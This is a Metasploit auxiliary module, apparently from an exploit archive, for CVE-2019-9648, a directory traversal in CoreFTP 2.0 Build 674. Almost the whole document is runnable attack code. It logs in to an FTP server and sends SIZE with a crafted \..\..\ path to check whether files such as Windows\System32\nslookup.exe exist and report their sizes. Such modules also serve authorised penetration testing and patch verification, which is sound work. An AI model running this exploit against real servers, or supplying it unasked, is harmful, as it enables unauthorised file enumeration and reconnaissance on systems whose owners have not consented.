CoreFTP 2.0 Build 674 SIZE - Directory Traversal (Metasploit)

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  def proto
     'ftp'
  end
  def initialize
    super(
      'Name' => 'CVE-2019-9648 CoreFTP FTP Server Version 674 and below SIZE Directory Traversal',
      'Description' => %q{An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. A directory traversal vulnerability exists using the SIZE command along with a \..\..\ substring, allowing an attacker to enumerate file existence based on the returned information},
      'Author' => [ 'Kevin Randall' ],
      'License' => MSF_LICENSE,
      'References' =>
        [
           [ 'CVE', '2019-9648' ],
           [ 'BID', '107446' ],
           [ 'URL', 'https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]
        ],
       'Disclosure Date:' =>  'March 13 2019'
    )
    register_options([
      Opt::RPORT(21),
      OptString.new('FILENAME', [true, "Name of file to search on remote server", 'nslookup.exe'] ),
      OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default Drive used is C: ", "\\..\\..\\..\\..\\"] ),
      OptString.new('PATHTOFILE', [ true, 'local filepath to the specified file. Please add double slashes for escaping', 'Windows\\System32\\'] )
    ])
  end
    def run_host(ip)
     print_status("Logging into FTP server now with supplied credentials")
     c = connect_login
     return if not c
     print_status("Performing exploitation of the SIZE command to enumerate files")
     path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" + datastore['FILENAME']
     res = send_cmd( ['SIZE', "C: ", path ], true, nsock = self.sock)
     data = res.to_s
     print_status("Performing analysis.... Please wait")
     if (data.include? "213" )
             print_good ("And the circle hits the square!")
             print_good ("File Exists. Here is the filesize:"+ data[4..-1])
       return res
     else
             print_error("Mission Failed We'll get them next time!")
             print_error ("Something went wrong or the file does not exist. Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape double backslash) or verify file extension as it may be incorrect")
       return res
     end
   end
 end